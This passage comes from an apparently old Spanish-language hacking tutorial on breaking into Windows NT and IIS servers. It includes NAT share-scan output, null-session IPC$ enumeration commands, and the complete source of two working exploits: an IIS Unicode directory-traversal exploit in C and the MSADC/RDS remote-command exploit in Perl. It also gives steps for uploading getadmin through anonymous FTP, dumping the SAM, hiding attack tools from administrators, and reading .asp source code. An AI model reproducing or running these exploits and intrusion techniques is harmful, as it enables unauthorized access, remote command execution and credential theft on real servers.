ADMIN$ Disk: Remote Admin

C$ Disk: Default share

IPC$ IPC: Remote IPC

NETLOGON Disk: Logon server share

Test Disk:

[*]--- This machine has a browse list:

Server Comment

--------- -------

STUDENT1

 

 

[*]--- Attempting to access share: \\*SMBSERVER\

[*]--- Unable to access

[*]--- Attempting to access share: \\*SMBSERVER\ADMIN$

[*]--- WARNING: Able to access share: \\*SMBSERVER\ADMIN$

[*]--- Checking write access in: \\*SMBSERVER\ADMIN$

[*]--- WARNING: Directory is writeable: \\*SMBSERVER\ADMIN$

[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\ADMIN$

[*]--- Attempting to access share: \\*SMBSERVER\C$

[*]--- WARNING: Able to access share: \\*SMBSERVER\C$

[*]--- Checking write access in: \\*SMBSERVER\C$

[*]--- WARNING: Directory is writeable: \\*SMBSERVER\C$

[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\C$

[*]--- Attempting to access share: \\*SMBSERVER\NETLOGON

[*]--- WARNING: Able to access share: \\*SMBSERVER\NETLOGON

[*]--- Checking write access in: \\*SMBSERVER\NETLOGON

[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\NETLOGON

[*]--- Attempting to access share: \\*SMBSERVER\Test

[*]--- WARNING: Able to access share: \\*SMBSERVER\Test

[*]--- Checking write access in: \\*SMBSERVER\Test

[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\Test

[*]--- Attempting to access share: \\*SMBSERVER\D$

[*]--- Unable to access

[*]--- Attempting to access share: \\*SMBSERVER\ROOT

[*]--- Unable to access

[*]--- Attempting to access share: \\*SMBSERVER\WINNT$

[*]--- Unable to access

Una vez el NAT se encuentra auditando un host, y encuentra alguna cuenta

valida, te informa sobre los recursos a los que puedes acceder y con que

privilegios tienes sobre ellos.

 

 

[ 5.4.2 - IPC$ ]

--------------

Muchos de vosotros estareis pensando en como algunos programas son

capaces de saber todos los usuarios en una maquina NT remota, ademas de

poder extraer mucha informacion interesante que sin duda no deberia ser

accesible por cualquiera. La respuesta esta en el recurso (pseudo)oculto del

IPC. IPC son las siglas de Inter-Process Communication, y es usado para

las comunicaciones entre maquinas NT. Asi cuando una maquina quiere saber

determinada informacion sobre la otra... utiliza este recurso para ello.

Esto estaria muy bien si el recurso no estuviera accesible para todo el

mundo, claro.

Este recurso funciona en W2K y WNT, de la misma forma, dando la misma

informacion a cualquiera, sin necesidad de identificarse. Esto no esta nada

bien. Entre la gran informacion que es capaz de proporcionarnos nos podemos

con de nombres de usuarios validos, grupos validos, caracteristicas de las

cuentas, recursos compartidos, nombre del dominio, etc. Para que luego

algunos admistradores pongan el grito en el cielo porque a traves de IIS se

puede saber el nombre de dominio del servidor.

Todo lo que necesitaremos para explotar este recurso es un interprete de

comandos de Ms-Dos, y las clasicas herramientas Sid2User y User2Sid. El

primero te da un nombre de usuario/grupo a partir de un Sid y el segundo te

da un Sid a partir de un nombre de usuario.

Vamos a poner un ejemplo de sustraccion de informacion via IPC$. Yo nunca

hago esta tarea manualmente, prefiero ahorrar toxinas y utilizar o bien un

script que me automatice la tarea (como el userlist.pl de Mnemonix) o bien

un escaner. Sin embargo resulta imprescindible saber hacerlo via linea de

comandos. Mis comentarios van precedidos de &&.

 

C:\> net view \\xx.34.xx.y51

System error 5 has occurred.

Access is denied.

&&& Normal. Asi tan de golpe, pues como que le da corte. Hay que romper el

&&& hielo...

C:\>net use \\xx.34.xx.y51\ipc$ "" /user:""

The command completed successfully.

C:\>net view \\xx.34.xx.y51

Shared resources at \\xx.34.xx.y51

 

Nombre Sufijo Tipo Servicio

-------------------------------------------------------------------

Inetpub Disk

Enterprise Disk

Admin's home Disk Confidential

NETLOGON Disk Logon server share

Backup Disk Backups!

The command completed successfully.

&&& Ahora comenzamos a conocernos. A partir de ahi yo podria hacer un ataque

&&& de fuerza bruta con el NAT para averiguar la contrase~a de los recursos

&&& compartidos.

 

Aqui solo he usado IPC$ para listar sus recursos compartidos... con las

herramientas adecuadas se podria sacar mas informacion siguiendo los mismos

procedimientos.

 

 

[ 5.5 - Conclusion sobre NetBIOS ]

--------------------------------

Como ya dije anteriormente, NetBIOS solo tiene un par de bugs, que si

estan parcheados, haran dificil la entrada. De lo que nos podremos

aprovechar sera de la mala concesion de los permisos, un fallo muy tipico.

 

 

-=-

 

 

[ 6 - Vulnerabilidades WEB ]

--------------------------

Muchos de los productos que Microsoft ha dise~ado para convertir NT en un

servidor Web han tenido y tienen muchos fallos de seguridad, que le han

otorgado una nefasta fama en lo que a su seguridad concierne. No vamos a ver

todos los bugs de estos productos, ya que son muchisimos. Quiza para una

proxima version... de momento aqui teneis las vulnerabilidades mas graves

segun mi opinion de estas aplicaciones.

 

 

[ 6.1 - Vulnerabilidades en IIS ]

-------------------------------

La gran mayoria de servidores de NT corren por IIS. IIS son las siglas de

Internet Information Server, y es un pack de aplicaciones que te permiten

realizar las funciones de servidor Web, FTP, etc.

Todavia no se puede comparar con Apache... pero tampoco es demasiado malo

como servidor Web, despues de todo. Sin embargo en el tema de la seguridad

le han dado algun mazazo que otro como a continuacion se vera.

Hasta el dia de hoy han aparecido muchisimos bugs para IIS, muchos de

ellos de gran envergadura que comprometian por entera la seguridad en el

servidor afectado.

Aqui solo voy a mostrar unos pocos, los mas "utiles" e interesantes. Si

alguien tiene ganas de ver todos los bugs de IIS que se pase por las URL's

que se dan en el apendice.

 

 

[ 6.1.1 - Escapando del arbol de web: Unicode's bug ]

---------------------------------------------------

Este es un bug descubierto hace relativamente poco, y muy peligroso, ya

que este permite al atacante ejecutar programas en el servidor afectado.

Este bug afecta a las versiones 4.0 y 5.0 del IIS.

El fallo se basa en la tipica fuga del arbol de web, subiendo directorios

a~adiendo rutas con "../" para escapar del arbol de la web y entrar en

directorios de sistema, etc.

IIS no deja escalar directorios de esa manera, pero si los sustituimos

como caracteres unicode la cosa cambia totalmente... pudiendo ejecutar

cualquier programa del que sepamos la ruta, como el cmd.exe (shell de

comandos), a~adiendo usuarios y otorgandoles permisos de administrador, y

muchas mas cosas que dejo a cargo de la imaginacion del lector.

A continuacion incluyo el codigo del exploit que incubus hizo para poder

explotar dicha vulnerabilidad.

-- Comienza el codigo --

<++>xploits/iisexc.c

/* iisex iis exploit (<- nost's idea) v2

* --------------------------------------

* Okay.. the first piece of code was not really finished.

* So, i apologize to everybody..

*

* by incubus <incubus@securax.org>

*

* grtz to: Bio, nos, zoa, reg and vor... (who else would stay up

* at night to exploit this?) to securax (#securax@efnet) - also

* to kim, glyc, s0ph, tessa, lamagra and steven.

* thx to spydir :)

*/

 

#include <netdb.h>

#include <netinet/in.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <errno.h>

int main(int argc, char **argv){

char buffy[666]; /* well, what else? I dunno how long your commands

are... */

char buf[500];

char rcvbuf[8192];

int i, sock, result;

struct sockaddr_in name;

struct hostent *hostinfo;

if (argc < 2){

printf ("try %s www.server.com\n", argv[0]);

printf ("will let you play with cmd.exe of an IIS4/5 server.\n");

printf ("by incubus <incubus@securax.org>\n\n");

exit(0);

}

printf ("\niisex - iis 4 and 5 exploit\n---------------------------\n");

printf ("act like a cmd.exe kiddie, type quit to quit.\n");

for (;;)

{

printf ("\n[enter cmd> ");

gets(buf);

if (strstr(buf, "quit")) exit(0);

i=0;

while (buf[i] != '\0'){

if(buf[i] == 32) buf[i] = 43;

i++;

}

hostinfo=gethostbyname(argv[1]);

if (!hostinfo){

herror("Oops"); exit(-1);

}

name.sin_family=AF_INET; name.sin_port=htons(80);

name.sin_addr=*(struct in_addr *)hostinfo->h_addr;

sock=socket(AF_INET, SOCK_STREAM, 0);

result=connect(sock, (struct sockaddr *)&name, sizeof(struct sockaddr_in));

if (result != 0) { herror("Oops"); exit(-1); }

if (sock < 0){

herror("Oops"); exit(-1); }

strcpy(buffy,"GET /scripts/..\%c0%af../winnt/system32/cmd.exe?/c+");

strcat(buffy,buf);

strcat(buffy, " HTTP/1.0\n\n");

send(sock, buffy, sizeof(buffy), 0);

recv(sock, rcvbuf, sizeof(rcvbuf), 0);

printf ("%s", rcvbuf);

close(sock);

}

}

<-->

-- Finaliza el codigo --

 

 

[ 6.1.2 - IISHACK ]

-----------------

Este fue uno de los bugs mas sonados para IIS, descubierto por la gente

de eEye, en junio de 1999.

Dicho bug se aprovecha de que IIS no se molesta en comprobar los limites

de ls nombres de las url para los archivos de extension .htr , .idc y .stm.

Asi pues cuando se le hace una peticion a IIS para un archivo cuya

extension sea las ya arriba mencionadas de mas de 3K, se produce el tipico

error de violacion de acceso...

Asi que eEye se puso a trabajar en un exploit para dicho bug, y hasta

una aplicacion que ayuda a usar el exploit... ademas de una version de nc

retocada, etc.

Cabe decir que durante las primeras versiones iishack (el programa que

permitia usar el exploit facilmente) no funcionaba correctamente (anti

script kiddies), por lo que los evil hax0rs quedaban frustrados... sin

embargo al cabo de unas semanas pusieron la version correcta, por lo que la

version de IISHACK que os bajeis funcionara correctamente.

Podreis encontrar el exploit en la web de eeye, www.eeye.com .

 

 

[ 6.1.3 - Hackeandolo via user anonymous ]

----------------------------------------

Este ataque es bien sencillo, para poderlo efectuarlo con exito tan solo

necesitaremos que la victima permita el usuario anonymous por ftp, y que

este permita el subir ficheros a un directorio virtual, como por ejemplo

wwwroot, para mas tarde ejecutarlas en el servidor via http.

Lo unico que deberemos subir a la carpeta virtual sera alguna aplicacion

que de nos de acceso administrador, por ejemplo Getadmin o Sechole. Ahora

probaremos la efectividad de GetAdmin.

Una vez subidos los ficheros getadmin.exe y gasys. dll haremos correr

getadmin en el servidor getadmin. Para ello vamos a suponer que hemos subido

los ficheros en la carpeta virtual wwwroot.

http://www.victima.com/wwwroot/getadmin.exe?iusr_nombredelhost

Ahora os preguntareis que como sabemos el nombre del host. Pues para eso

o bien nos valemos de la ayuda del ftp de la misma victima, o le escaneamos

con algun escaneador de vulnerabilidades, donde se nos indicara.

Una vez ejecutado getadmin ya disponemos de nuestra propia cuenta, y os

preguntareis que que hacer. Pues ahora podrias subir el cmd.exe para moveros

por El sistema, o el netcat, para luego ejecutar samdump... lo demas es puro

tramite.

Recordad que si optais por subir cmd.exe y probar moveros por el sistema

mediante el navegador, los espacios equivalen a %20, %2B equivale a un "+",

etc. Es importante esconder los ficheros utilizados para acceder al sistema,

a poder ser en un directorio de sistema con un nombre que no llame la

atencion, y esconderlos mediante el comando attrib. Esto no los hace

invisible al admin, sobre todo si ha configurado el explorador de windows

para ver tambien los ficheros ocultos. Tambien se recomienda cuando ya no

necesitarais alguna herramienta... borrarla, o camuflarla.

 

 

 

[ 6.1.4 - Hackeandolo via IISADMIN ]

----------------------------------

IIS trae consigo una utilidad que permite el administrar remotamente el

servicio IIS via web. Esta utilidad es por defecto accesible al usuario

anonimo, siendo necesario una cuenta con privilegios administrativos para

modificar los servicios del mismo.

Sin embargo, que nos impide probar ataques por fuerza bruta? es mas, hay

aplicaciones que nos permiten automatizar esta tarea, siendo una especia de

NAT para IIS.

Ademas, tendremos acceso a la documentacion, por lo que si alguien no

esta muy puesto en el funcionamiento de IIS, hay tiene un porron de

informacion.

Se me olvidaba, el directorio es el /iisadmin .

Recomiendo a los admins borrar este directorio sino lo utilizan, ya que

si se ha cambiado la contrase~a que venia por defecto (una contrase~a

bastante robusta) y el atacante es persistente seguro la acabara adivinando.

 

 

[ 6.1.5 - Ejecucion de comandos locales MSADC ]

---------------------------------------------

Este bug permite ejecutar comandos de NT remotamente en el servidor fruto

de nuestras inquietudes. Excelente.

El problema radica en que los comandos del lenguaje SQL permiten, si se

le incluye la barra vertical '|', incluir comandos de shell de NT.

Veamos... entonces para explotar esta vulnerabilidad necesitariamos poder

acceder a una base de datos remotamente, claro... he aqui el RDS... que mira

por donde permite la entrada de comandos VBA. Pero no solo RDS es el

responsable del bug, hay mas culpables... como el MS Jet Database Engine,

que permite tambien comandos VBA...

Ademas las peticiones a las bases de datos remotamente se hacen a traves

de ODBC, y IIS corre los comandos ODBC como system_local... oh my god!

Entonces llegamos a la conclusion de que podemos mandarle comandos de

shell de NT a una base de datos, y ella los ejecutara, con privilegios de

sistema. Pero... y si no hubiera bases de datos en el sistema?... ante todo

tranquilidad, que Microsoft nos lo hace todo mas facil instalando por

defecto una base de datos peque~ita, para que el admin vaya practicando.

Todo un acierto, si se~or.

Para explotar la vulnerabilidad usaremos el exploit de rfp, el cual esta

muy bien dise~ado y tiene bastantes opciones interesantes, como la busqueda

de bases de datos por fuerza bruta, el poder crear bases de datos explotando

otro bug por sino encuentra ninguna, etc.

A continuacion incluyo el codigo en perl.

 

-- Comienza el codigo --

<++>xploits/rds.pl

#!perl

#

# MSADC/RDS 'usage' (aka exploit) script

#

# by rain.forest.puppy

#

# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me

# beta test and find errors!

use Socket; use Getopt::Std;

getopts("e:vd:h:XRVN", \%args);

print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";

if (!defined $args{h} && !defined $args{R}) {

print qq~

Usage: msadc.pl -h <host> { -d <delay> -X -v }

-h <host> = host you want to scan (ip or domain)

-d <seconds> = delay between calls, default 1 second

-X = dump Index Server path table, if available

-N = query VbBusObj for NetBIOS name

-V = use VbBusObj instead of ActiveDataFactory

-v = verbose

-e = external dictionary file for step 5

Or a -R will resume a command session

~; exit;}

$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";

if (defined $args{v}) { $verbose=1; } else {$verbose=0;}

if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}

if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);

$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}

if (!defined $args{R}){ $ret = &has_msadc; }

if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }

if (defined $args{N}) {&get_name; exit;}

print "Please type the NT commandline you want to run (cmd /c assumed):\n"

. "cmd /c ";

$in=<STDIN>; chomp $in;

$command="cmd /c " . $in ;

if (defined $args{R}) {&load; exit;}

print "\nStep 1: Trying raw driver to btcustmr.mdb\n";

&try_btcustmr;

print "\nStep 2: Trying to make our own DSN...";

&make_dsn ? print "<<success>>\n" : print "<<fail>>\n";

print "\nStep 3: Trying known DSNs...";

&known_dsn;

print "\nStep 4: Trying known .mdbs...";

&known_mdb;

if (defined $args{e}){

print "\nStep 5: Trying dictionary of DSN names...";

&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }

print "Sorry Charley...maybe next time?\n";

exit;

##########################################################

sub sendraw { # ripped and modded from whisker

sleep($delay); # it's a DoS on the server! At least on mine...

my ($pstr)=@_;

socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||

die("Socket problems\n");

if(connect(S,pack "SnA4x8",2,80,$target)){

select(S); $|=1;

print $pstr; my @in=<S>;

select(STDOUT); close(S);

return @in;

} else { die("Can't connect...\n"); }}

##########################################################

sub make_header { # make the HTTP request

my $which, $msadc; # yeah, this is WAY redundant. I'll fix it later

if (defined $args{V}){

$msadc=<<EOT

POST /msadc/msadcs.dll/VbBusObj.VbBusObjCls.GetRecordset HTTP/1.1

User-Agent: ACTIVEDATA

Host: $ip

Content-Length: $clen

Connection: Keep-Alive

ADCClientVersion:01.06

Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=2

--!ADM!ROX!YOUR!WORLD!

Content-Type: application/x-varg

Content-Length: $reqlen

EOT

; } else {

$msadc=<<EOT

POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1

User-Agent: ACTIVEDATA

Host: $ip

Content-Length: $clen

Connection: Keep-Alive

ADCClientVersion:01.06

Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3

--!ADM!ROX!YOUR!WORLD!

Content-Type: application/x-varg

Content-Length: $reqlen

EOT

;}

$msadc=~s/\n/\r\n/g;

return $msadc;}

##########################################################

sub make_req { # make the RDS request

my ($switch, $p1, $p2)=@_;

my $req=""; my $t1, $t2, $query, $dsn;

if ($switch==1){ # this is the btcustmr.mdb query

$query="Select * from Customers where City=" . make_shell();

$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .

$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}

elsif ($switch==2){ # this is general make table query

$query="create table AZZ (B int, C varchar(10))";

$dsn="$p1";}

elsif ($switch==3){ # this is general exploit table query

$query="select * from AZZ where C=" . make_shell();

$dsn="$p1";}

elsif ($switch==4){ # attempt to hork file info from index server

$query="select path from scope()";

$dsn="Provider=MSIDXS;";}

elsif ($switch==5){ # bad query

$query="select";

$dsn="$p1";}

$t1= make_unicode($query);

$t2= make_unicode($dsn);

if(defined $args{V}) { $req=""; } else {$req = "\x02\x00\x03\x00"; }

$req.= "\x08\x00" . pack ("S1", length($t1));

$req.= "\x00\x00" . $t1 ;

$req.= "\x08\x00" . pack ("S1", length($t2));

$req.= "\x00\x00" . $t2 ;

$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";

return $req;}

##########################################################

 

sub make_shell { # this makes the shell() statement

return "'|shell(\"$command\")|'";}

##########################################################

sub make_unicode { # quick little function to convert to unicode

my ($in)=@_; my $out;

for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }

return $out;}

##########################################################

sub rdo_success { # checks for RDO return success (this is kludge)

my (@in) = @_; my $base=content_start(@in);

if($in[$base]=~/multipart\/mixed/){

return 1 if( $in[$base+10]=~/^\x09\x00/ );}

return 0;}

##########################################################

sub make_dsn { # this makes a DSN for us

my @drives=("c","d","e","f");

print "\nMaking DSN: ";

foreach $drive (@drives) {

print "$drive: ";

my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .

"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="

. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");

$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;

return 0 if $2 eq "404"; # not found/doesn't exist

if($2 eq "200") {

foreach $line (@results) {

return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}

} return 0;}

##########################################################

sub verify_exists {

my ($page)=@_;

my @results=sendraw("GET $page HTTP/1.0\n\n");

return $results[0];}

##########################################################

sub try_btcustmr {

my @drives=("c","d","e","f");

my @dirs=("winnt","winnt35","winnt351","win","windows");

foreach $dir (@dirs) {

print "$dir -> "; # fun status so you can see progress

foreach $drive (@drives) {

print "$drive: "; # ditto

$reqlen=length( make_req(1,$drive,$dir) ) - 28;

$reqlenlen=length( "$reqlen" );

$clen= 206 + $reqlenlen + $reqlen;

my @results=sendraw(make_header() . make_req(1,$drive,$dir));

if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}

else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}

##########################################################

sub odbc_error {

my (@in)=@_; my $base;

my $base = content_start(@in);

if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this

$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;

$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;

$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;

return $in[$base+4].$in[$base+5].$in[$base+6];}

print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";

print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .

$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}

##########################################################

sub verbose {

my ($in)=@_;

return if !$verbose;

print STDOUT "\n$in\n";}

##########################################################

sub save {

my ($p1, $p2, $p3, $p4)=@_;

open(OUT, ">rds.save") || print "Problem saving parameters...\n";

print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";

close OUT;}

##########################################################

sub load {

my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";

open(IN,"<rds.save") || die("Couldn't open rds.save\n");

@p=<IN>; close(IN);

$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);

$target= inet_aton($ip) || die("inet_aton problems");

print "Resuming to $ip ...";

$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;

if($p[1]==1) {

$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;

$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;

my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));

if (rdo_success(@results)){print "Success!\n";}

else { print "failed\n"; verbose(odbc_error(@results));}}

elsif ($p[1]==3){

if(run_query("$p[3]")){

print "Success!\n";} else { print "failed\n"; }}

elsif ($p[1]==4){

if(run_query($drvst . "$p[3]")){

print "Success!\n"; } else { print "failed\n"; }}

exit;}

##########################################################

sub create_table {

return 1 if (defined $args{V});

my ($in)=@_;

$reqlen=length( make_req(2,$in,"") ) - 28;

$reqlenlen=length( "$reqlen" );

$clen= 206 + $reqlenlen + $reqlen;

my @results=sendraw(make_header() . make_req(2,$in,""));

return 1 if rdo_success(@results);

my $temp= odbc_error(@results); verbose($temp);

return 1 if $temp=~/Table 'AZZ' already exists/;

return 0;}

##########################################################

sub known_dsn {

# we want 'wicca' first, because if step 2 made the DSN, it's ready to go

my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",

"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",

"banner", "banners", "ads", "ADCDemo", "ADCTest");

foreach $dSn (@dsns) {

print ".";

next if (!is_access("DSN=$dSn"));

if(create_table("DSN=$dSn")){

print "$dSn successful\n" if (!defined $args{V});

if(run_query("DSN=$dSn")){

print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; }}} print "\n";}

##########################################################

sub is_access {

my ($in)=@_;

return 1 if (defined $args{V});

$reqlen=length( make_req(5,$in,"") ) - 28;

$reqlenlen=length( "$reqlen" );

$clen= 206 + $reqlenlen + $reqlen;

my @results=sendraw(make_header() . make_req(5,$in,""));

my $temp= odbc_error(@results);

verbose($temp); return 1 if ($temp=~/Microsoft Access/);

return 0;}

##########################################################

sub run_query {

my ($in)=@_;

$reqlen=length( make_req(3,$in,"") ) - 28;

$reqlenlen=length( "$reqlen" );

$clen= 206 + $reqlenlen + $reqlen;

my @results=sendraw(make_header() . make_req(3,$in,""));

return 1 if rdo_success(@results);

my $temp= odbc_error(@results); verbose($temp);

return 0;}

##########################################################

sub known_mdb {

my @drives=("c","d","e","f","g");

my @dirs=("winnt","winnt35","winnt351","win","windows");

my $dir, $drive, $mdb;

my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";

# this is sparse, because I don't know of many

my @sysmdbs=( "\\catroot\\icatalog.mdb",

"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",

"\\system32\\certmdb.mdb",

"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%

my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",

"\\cfusion\\cfapps\\forums\\forums_.mdb",

"\\cfusion\\cfapps\\forums\\data\\forums.mdb",

"\\cfusion\\cfapps\\security\\realm_.mdb",

"\\cfusion\\cfapps\\security\\data\\realm.mdb",

"\\cfusion\\database\\cfexamples.mdb",

"\\cfusion\\database\\cfsnippets.mdb",

"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",

"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",

"\\cfusion\\brighttiger\\database\\cleam.mdb",

"\\cfusion\\database\\smpolicy.mdb",

"\\cfusion\\database\cypress.mdb",

"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",

"\\website\\cgi-win\\dbsample.mdb",

"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",

"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"

); #these are just \

foreach $drive (@drives) {

foreach $dir (@dirs){

foreach $mdb (@sysmdbs) {

print ".";

if(create_table($drv . $drive . ":\\" . $dir . $mdb)){

print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n" if

(!defined $args{V});

if(run_query($drv . $drive . ":\\" . $dir . $mdb)){

print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;

}}}}}

foreach $drive (@drives) {

foreach $mdb (@mdbs) {

print ".";

if(create_table($drv . $drive . $dir . $mdb)){

print "\n" . $drive . $dir . $mdb . " successful\n" if

(!defined {V});

if(run_query($drv . $drive . ":" . $dir . $mdb)){

print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;

}}}}

}

##########################################################

sub hork_idx {

print "\nAttempting to dump Index Server tables...\n";

print " NOTE: Sometimes this takes a while, other times it stalls\n\n";

$reqlen=length( make_req(4,"","") ) - 28;

$reqlenlen=length( "$reqlen" );

$clen= 206 + $reqlenlen + $reqlen;

my @results=sendraw2(make_header() . make_req(4,"",""));

if (rdo_success(@results)){

my $max=@results; my $c; my %d;

for($c=19; $c<$max; $c++){

$results[$c]=~s/\x00//g;

$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;

$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;

$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;

$d{"$1$2"}="";}

foreach $c (keys %d){ print "$c\n"; }

} else {print "Index server not installed/query failed\n"; }}

##########################################################

sub dsn_dict {

open(IN, "<$args{e}") || die("Can't open external dictionary\n");

while(<IN>){

$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";

next if (!is_access("DSN=$dSn"));

if(create_table("DSN=$dSn")){

print "$dSn successful\n" if(!defined $args{V});

if(run_query("DSN=$dSn")){

print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; }}}

print "\n"; close(IN);}

##########################################################

sub sendraw2 { # ripped and modded from whisker

sleep($delay); # it's a DoS on the server! At least on mine...

my ($pstr)=@_;

socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||

die("Socket problems\n");

if(connect(S,pack "SnA4x8",2,80,$target)){

open(OUT,">raw.out"); my @in;

select(S); $|=1; print $pstr;

while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}

close(OUT); select(STDOUT); close(S); return @in;

} else { die("Can't connect...\n"); }}

##########################################################

sub content_start { # this will take in the server headers

my (@in)=@_; my $c;

for ($c=1;$c<500;$c++) {

if($in[$c] =~/^\x0d\x0a/){

if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }

else { return $c+1; }}}

return -1;} # it should never get here actually

##########################################################

sub funky {

my (@in)=@_; my $error=odbc_error(@in);

if($error=~/ADO could not find the specified provider/){

print "\nServer returned an ADO miscofiguration message\nAborting.\n";

exit;}

if($error=~/A Handler is required/){

print "\nServer has custom handler filters (they most likely are patched)\n";

exit;}

if($error=~/specified Handler has denied Access/){

print "\nADO handlers denied access (they most likely are patched)\n";

exit;}}

##########################################################

sub has_msadc {

my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");

my $base=content_start(@results);

return if($results[$base]=~/Content-Type: application\/x-varg/);

my @s=grep(/^Server:/,@results);

if($s[0]!~/IIS/){ print "Doh! They're not running IIS.\n" }

else { print "/msadc/msadcs.dll was not found.\n";}

exit;}

##########################################################

sub get_name { # this was added last minute

my $msadc=<<EOT

POST /msadc/msadcs.dll/VbBusObj.VbBusObjCls.GetMachineName HTTP/1.1

User-Agent: ACTIVEDATA

Host: $ip

Content-Length: 126

Connection: Keep-Alive

ADCClientVersion:01.06

Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=0

--!ADM!ROX!YOUR!WORLD!--

EOT

; $msadc=~s/\n/\r\n/g;

my @results=sendraw($msadc);

my $base=content_start(@results);

$results[$base+6]=~s/[^-A-Za-z0-9!\@\#\$\%^\&*()\[\]_=+~<>.,?]//g;

print "Machine name: $results[$base+6]\n";}

##########################################################

# Note: This is not a good example of precision code. It is very

# redundant and has a few kludges. I have been adding features in one at

# at a time, so it has resulted in redundant functions and patched code.

# I will be rewriting it in the future, sometime. Look for the newer code

# revisions at www.technotronic.com/rfp/

# This may also be included in the NT-PTK/P. If you don't know what that

# is, just wait and see. :)

##########################################################

<-->

-- Finaliza el codigo --

 

 

[ 6.1.6 - El bug de los .idc y .ida ]

-----------------------------------

Este bug permite saber en que directorio esta montado el servidor web.

Esto es sumamente importante, sobretodo si estamos intentando sacar el

fichero SAM mediante otra vulnerabilidad, ya que si la unidad donde esta

montados los directorio web es una unidad aislada solo para esto, por

ejemplo, no se encontraran los SAM. Ademas, el que te devuelva la ruta

permite hacerte una peque~a idea sobre como tienen montados sus directorios.

Un ejemplo:

Peticion: www.servidor.com/fichero_falso.html.idc

Respuesta: "Cannot open c:\inetpub\wwwroot\fichero_falso.html.idc"

Esto nos indica que tienen los directorios de la web en la unidad de

sistema, lo que para conocer la ruta exacta de ficheros clave como los SAM,

en caso de que por cualquier determinado bug podamos acceder a ellos.

 

 

[ 6.1.7 - Viendo el codigo de los .asp y de demas ficheros ]

----------------------------------------------------------

A continuacion muestro una seria de bugs del IIS que permiten ver el

codigo de casi cualquier archivo del servidor, entre ellos los .asp.

Quiza os pregunteis que tiene de especial un . asp que no tenga otro

fichero cualquiera. La respuesta es que suele proporcionar informacion muy

jugosa, como es el caso de nombres de usuario y contrase~as... hay radica su

importancia.

 

 

[ 6.1.7.1 - El bug del punto en .asp ]

------------------------------------

Este bug no necesita demasiada explicacion... tan solo hay que a~adir un

punto en la url de la peticion del .asp para poder bajarse el codigo.

Ejemplo al canto:

http://www.maquinavictima.es/formulario.asp.

 

 

